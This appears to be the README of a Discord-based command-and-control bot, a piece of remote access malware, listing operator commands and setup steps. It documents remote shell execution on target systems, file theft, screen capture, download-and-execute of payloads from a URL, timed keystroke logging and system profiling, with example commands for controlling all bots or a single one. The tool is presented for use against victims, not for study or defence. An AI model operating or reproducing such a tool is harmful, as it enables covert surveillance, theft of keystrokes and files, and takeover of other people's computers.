The C2 Discord bot utilizes the Discord's Developer functionality that allows you to make bots capable to interager with the user acting like a Command and Control Server.
Before continue you must follow the steps covered on Discord's Documentaion.
Command | Functions |
---|---|
$b | All bots receive commands |
$wake | Show active bots |
$shell <cmd> | Execute a command on target system |
$upload <file> | Download a arbitrary file from target system |
$grab | Screen capture from target system |
$down_exec <url> | Download a file to target system and execute it |
$klogging <sec> | Start keystroke logging on target system |
$sysinfo | Get information from target system |
In the following example all bots will return stdout from the shell command.
$b $shell dir *.png
Or if you want to interact with only one specific bot:
$Bot-name $shell dir *.png
Get the keystroke logger every 30 seconds. The bot will send to you in a .txt format:
$b $klogging 30
- Put your discord token in 'PUT YOUR TOKEN HERE' in the botDiscord.py file.
- Replace '000000' in the botDiscord.py file to your user id.